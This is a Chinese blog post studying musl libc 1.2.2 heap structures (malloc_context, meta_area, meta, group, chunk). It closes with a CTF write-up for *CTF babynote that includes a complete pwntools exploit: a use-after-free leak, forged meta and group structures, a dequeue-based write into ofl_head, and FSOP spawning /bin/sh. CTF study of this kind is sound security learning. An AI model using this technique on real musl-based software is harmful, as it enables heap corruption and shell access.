musl_libc学习(1.2.2)

前言

1.1.xx的版本已经很老了,估计也不会遇到了,所以这里就不再学习了主要是因为本人太懒了,目前musl-libc已经出到了1.2.5-3了,但是貌似能搜到的题只有1.2.2的,所以学习一下1.2.2的堆管理结构,以及如何利用

(文章内容为个人见解,有错误的话欢迎大佬批评指出)

环境布置

musl-libc是集libc和ld为一体的,所以只要一个libc.so就够了,要调试musl的题,调试符号是必不可少的,但是从其他大佬的博客来看,都是要下载调试符号包,然后加载,本人鼓捣了半天,结果还是加载不出调试符号(可能是操作有误),ubuntu要下载各个版本的调试符号包以及各种包的话可以去官网,这里放个链接

加载调试符号

因为实在加载不出符号调试表,所以直接在源码编译的时候加了调试符号,直接使用带有调试符号的libc.so

1
2
3
4
5
6
7
cd ~/桌面/musl
wget https://musl.libc.org/releases/musl-1.2.2.tar.gz #下载源码安装包
tar -zxvf musl-1.2.2.tar.gz #解压
cd musl-1.2.2
./configure CFLAGS="-g -O0" --prefix=/usr/local/musl-1.2.2 # 配置编译参数,启用调试符号(-g)并禁用优化(-O0),并指定了安装路径/usr/local/musl-1.2.2 ,可自行修改
make -j4 # 编译(-j4 表示使用4线程加速)
sudo make install # 安装到指定目录,也就是上面的/usr/local/musl-1.2.2

之后可以在path to/musl-1.2.2/lib下找到libc.so文件,此文件是加载了调试符号的

muslheap插件

安利xf1les 师傅编写的musl heap gdb 插件

1
git clone https://github.com/xf1les/muslheap.git

安装方法

1
echo "source /path/to/muslheap.py" >> ~/.gdbinit

具体使用方法以及环境要求在read.me文件里有,这里不再赘述,安装好之后就可以使用mheap等调试musl很方便的指令了

patchelf换libc

1
patchelf --set-interpreter /path to your/libc.so ./pwn #将要调试的文件使用的libc更换为上述增加了调试符号的libc.so

编译使用musl的程序

1
2
/path to your/musl-1.2.2/bin/musl-gcc -g test.c -o test
patchelf --set-interpreter /path to your/libc.so ./test #你编译出来的elf还是会使用本地的libc.so,记得换成你加载了调试符号的libc.so

编译musl程序,需要用到musl-gcc,上述加载调试符号时编译的源码里就有,因为版本是1.2.2的,所以编译出来的文件也是1.2.2的如果要编译其他版本的elf的话,和上述操作类似,下载一份其他版本的源码,编译好之后用配套的musl-gcc编译即可

堆管理结构学习

musl的堆管理结构和glibc的区别还是挺大的,musl的堆管理结构没有bins,而是通过meta_area管理meta,meta管理group,group管理chunk来实现的,其中__malloc_context又记录着meta的情况以及meta_area的情况,网上很多博客关于此结构已经写的很清楚了,这里主要写一下我自己的见解,放几个链接大家可以参考一下

链接1

链接2

链接3

__malloc_context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct malloc_context {
uint64_t secret; // 和meta_area 头的check 是同一个值 就是校验值
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done; //是否初始化标记
unsigned mmap_counter;// 记录有多少mmap 的内存的数量
struct meta *free_meta_head;// 被free 的meta 头 这里meta 管理使用了队列和双向循环链表
struct meta *avail_meta;//指向可用meta数组
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail;
unsigned char *avail_meta_areas;
struct meta *active[48];// 记录着可用的meta
size_t u sage_by_class[48];
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk;
};

屏幕截图 2025-07-25 150108

1.active数组中储存着不同大小的meta,分别在对应的位置,如管理大小为0x30chunk的meta在active[2],这些meta通过双向循环链表连接 来

2.avail_meta表示剩余的可用的meta数量,上图为87,如果我没有malloc 0x40大小的chunk的话,上图就不会有active[3],那么avail_meta的数量应该是88

3.free_meta表示已经释放的meta数量,这里为0

4.avail_meta_area表示可用的meta_area,如图表示下一个可用的meta_area的位置是0x653909391000

5.meta_area_head和tail分别指向meat_area链表的头部和尾部,这里因为只有一个meta_area,所以指向相同的地方

meta_area

1
2
3
4
5
6
struct meta_area {
uint64_t check;
struct meta_area *next;
int nslots;
struct meta slots[];
};

屏幕截图 2025-07-28 112640

1.check和malloc_context中的uint64_t secret 是一样的

2.next是用来维护meta_area链表的,这个结构是通过单链表维护的

3.nslots记录着当前使用的meta数量

4.meta slots[]就是存储着一系列的meta

一般一个meta_area的大小是一页,也就是0x1000,然后前0x18的大小是自身结构,也就是check,next,nslots,之后便是一个一个的meta

meta

1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next; //双向链表
struct group *mem; // 这里指向管理的group 地址
volatile int avail_mask, freed_mask;
uintptr_t last_idx:5;
uintptr_t freeable:1;
uintptr_t sizeclass:6;
uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

屏幕截图 2025-07-25 150931

1.prev和next分别指向此meta的上一个meta和下一个meta,通过此结构双向链表的结构连接起来

2.mem记录着此meta对应的group的地址在哪

3.last_idx的数字意味着这个meta最多可以管理几个chunk,[0~last_idx],上图所示的话也就是10个

4.freeable代表这个meta可不可以被释放,1为可以

5.sizeclass代表这个meta管理的chunk的大小,此图是2,和上图的active[2]是对应的,也就是管理的0x30大小的chunk

6.avail_mask和freed_mask都要转变成二进制看:

512的二进制是0b1000000000,意味着我已经申请了9个chunk(对应0)只剩最后一个chunk没有申请了

20的二进制是0b10100,意味着编号为2,4的chunk被free掉了

group

1
2
3
4
5
6
struct group {   
struct meta *meta;// meta的地址
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1];// 保证0x10字节对齐
unsigned char storage[];# chunk
};

屏幕截图 2025-07-25 151945

group的前8字节记录着此group对应的meta的地址,active_idx,也就是9,记录着此group管理的chunk的数量

至于pad,还没明白是用来干什么的,有知道的可以佬可以说一下

接着就是chunk里的内容了如图0x6161这些是chunk里的内容

chunk

1
2
3
4
5
6
struct chunk{
char prev_user_data[];
uint8_t idx; //低5bit为idx第几个chunk
uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程!
char data[];
};

屏幕截图 2025-07-25 152455

如0x6538f4fa2ca8的0x0003a1000000000d

其中0003是对应着offset

而a1是chunk的idx

这个程序是我自己编写用来调试的,申请的第一个chunk的idx就是a0,估计是前面的chunk的idx是程序初始化使用了吧

而最后的d,目前没有找到大佬介绍,我自己试着调试了一下,这个值和申请的chunk的大小有关

可以看到上图中的那个位置有d有0有c,位置为d的那个chunk我是malloc(0x1f)得到的,而c的chunk我是malloc(0x20)得到的,如果malloc(0x28)及以上的话,那个位置就是0了,也就是说,这个地方的数字对应着这个chunk还可以再大多少,比如d的那个地方,说明我malloc(0x1f+0xd),也会使用这个chunk,c的位置便是malloc(0x20+0xc),而当malloc(0x29)时,已经覆盖了这个位置,所以就变成0了,也就是说我malloc(0x1d~0x2c)得到的chunk的大小是一样的

类似于glibc中物理相邻的上一个chunk可以使用下一个chunk的psize位,musl中的上一个chunk可以使用下一个chunk的12个字节(也可以说是4个字节,看你怎么理解chunk头吧)对应于0x0003a1000000000d,我可以溢出写成0x0003a100061616161,

chunk可以通过记录的offset找到group,比如位于0xa0的chunk的offset是3,0xb0-(3+1)*0x10=0x70,就找到了group,而group又可以通过记录的meta地址找到meta,以此来管理堆结构

关于malloc和free

我试着写了一下这个逻辑,但是写的不是很清晰,这里直接放个链接,觉得写的很好,总结的很到位,大家可以看这篇文章

链接

题目复现

*CTF babynote

大体思路:

1.泄露libc和pie

2.申请一个大的slot,页对齐,然后伪造meta_arae,meta,group,chunk

3.然后释放chunk,在dequeue过程中利用meta的双向链表指针互写,向ofl_head中写如fake_io的地址

4.然后执行exit,通过fake_io进行FSOP执行system(“/bin/sh”),getshell

(感觉这道题的堆风水好难布置)

这里强推一篇文章,真的超级详细 就是这个,我这里就不做过多解释了,这个题貌似因为环境不一样,我用博主的exp不成功,自己按照思路调了一下exp,本地成功了,可能你们用我的exp也成功不了吧

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

elf=ELF('./babynote')
libc=ELF('./libc.so')

def add(name,content):
sla(b'option: ',b'1')
sla(b'name size: ',str(len(name)).encode())
sa(b'name: ',name)
sla(b'note size: ',str(len(content)).encode())
sa(b'note content: ',content)

def find(name):
sla(b'option: ',b'2')
sla(b'name size: ',str(len(name)).encode())
sa(b'name: ',name)

def delete(name):
sla(b'option: ',b'3')
sla(b'name size: ',str(len(name)).encode())
sa(b'name: ',name)

def clear():
sla(b'option: ',b'4')

def esc():
sla(b'option: ',b'5')

def uuu64(data):
hex_str = data.decode('utf-8')
if len(hex_str) % 2 != 0:
hex_str = '0' + hex_str
bytes_list = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)]
reversed_hex_str = ''.join(reversed(bytes_list))
hex_number = int(reversed_hex_str, 16)
return hex_number

p=process('./babynote')
for i in range(9):
add(b'M0',b'M0')
clear()
add(b'uaf',b'A'*0x28)
for i in range(9):
add(b'M1', b'M1')
for i in range(10):
add(b'M2', b'M2')
delete(b'uaf')
add(b'X', b'X'*0x30)
find(b'uaf')
ru(b'0x28:')
libc_base=uuu64(r(12))-0xdea50
r(4)
pie=uuu64(r(12))-0x4fc0-0xfd0
print(hex(libc_base))
print(hex(pie))
uaf_name=li(0xdeda0)
secret=li(0xdbae0)
payload=p64(uaf_name)+p64(secret)+p64(3)+p64(0x8)+p64(0)
find(payload)
find(b'uaf')
ru(b'0x8:')
key=uuu64(r(16))
print(hex(key))
ofl_head=li(0xdde68)
fake_io=pi(0x4850)
page=li(-0x9000)
payload=flat(
{
0x0:p64(key), #secret
0x8:p64(ofl_head-8),#prev
0x10:p64(fake_io),#next
0x18:p64(page+0x30),#mem
0x20:p64(0),#avail_mask.free_mask
0x28:p64(0x1020),#maplen=1,freeable=1
0x30:p64(page+0x8),#meta
0x38:p64(0)#fake_chunk,offset=0,故0x40即为slot
}, filler=b'\x00'
)
payload=(b'\x00'*0xfe0+payload).ljust(0x1100,b'\x00')
delete(b'M1')
delete(b'M1')
add(b'fake_struct',payload)
payload=p64(pi(0x5f90))+p64(page+0x40)+p64(0x30)+p64(8)+p64(0)
add(b'fake_note',payload)
delete(b'X'*0x30)
system=lis("system")
fake_file = flat({
0 : b"/bin/sh\x00",
0x28 : li(0x2000),
0x38 : li(0x3000),
0x48 : system
}, filler=b'\x00')
add('fake_file', fake_file)
ggg()
esc()
shell()

关于musl-libc的FSOP利用的调用链
exit:exit->stdio_exit_needed->stdio_exit_needed->close_file

puts:puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)

具体参考文章:这里,对于fake_io的讲解以及dequeue和queue的讲解也挺到位的

babynote本来想试着用puts调用链也做一下的,可是最后伪造meta入队列想要实现任意分配修改stdout结构体时,却因为fake_group中的meta为0,没有写入fake_meta的地址,导致get_meta的时候程序over了,后来尝试了一下,堆风水太麻烦了,就没有继续深究了,感兴趣的可以自己尝试一下

我是菜鸡就不试了

写在最后

musl-libc的学习就到这里了,作为一个轻量化的libc,学习成本也是比较小的,攻击思路也基本就是dequeue和queue以及伪造结构体,由于没有hook函数,所以一般也是利用FSOP攻击,还是比较单一的…